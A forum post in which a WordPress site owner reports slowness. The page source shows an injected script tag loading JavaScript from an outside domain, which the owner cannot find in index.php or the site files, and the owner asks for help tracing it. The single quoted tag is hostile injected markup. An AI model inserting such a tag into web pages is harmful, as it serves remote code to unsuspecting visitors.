wordpress site hacked.

Hi

I have a wordpress site and while accessing the website, it is too slow.

When i open the webpage and see its properties, then in its index.php, I see the code below embedded as the first entry.

<script type="text/javascript" src="http://babychicny.com/search.php"></script>

This is what I see when I right click and see the source code of the page from the browser.

But when I check index.php or search files of this website, I don’t see any reference to babychicny.com.

Any ideas where this could be popping out from ? This is causing slowness.

Again, if i open other pages of this website, this javascript doesn’t get embedded and pages open fast.